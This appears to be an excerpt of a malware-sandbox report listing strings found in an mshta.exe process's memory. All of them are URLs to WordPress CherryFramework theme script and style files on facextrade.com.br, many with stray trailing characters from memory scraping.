Source: mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0s./k
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556774271.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.01
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0C:
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0b
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-
Source: mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2C:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2R6
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2s
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2s#
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2ts
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2z6
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2~
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386088242.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332762135.0000000003532000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545468854.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1=
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1b
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1e
Source: mshta.exe, 0000000A.00000003.386088242.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545468854.000000000714D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1k
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00.9.3
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0;ii
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0C:
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0kR
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0q
Source: mshta.exe, 0000000A.00000002.537475532.000000000352E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js-l
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js4lf
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsC:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsit
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jspt
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jssQ
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js~
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0#
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.387314345.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537773286.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0SC:
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0http://fac
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0nLMEM
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0z6
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386639993.000000000CD3B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.09.31
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0=
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0C
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0e)
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0s
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548501961.0000000007680000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332308704.000000000711E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332868429.000000000712D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6(-a
Source: mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.67/
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6?veLMEM
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6C:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6er-wp-public.js?
Source: mshta.exe, 0000000A.00000003.332308704.000000000711E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332868429.000000000712D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6ows
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6r/
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6ry
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.31-
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3js
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3kp
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386639993.000000000CD3B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.03~
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.06
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0e
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.0y
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0n
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0s
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
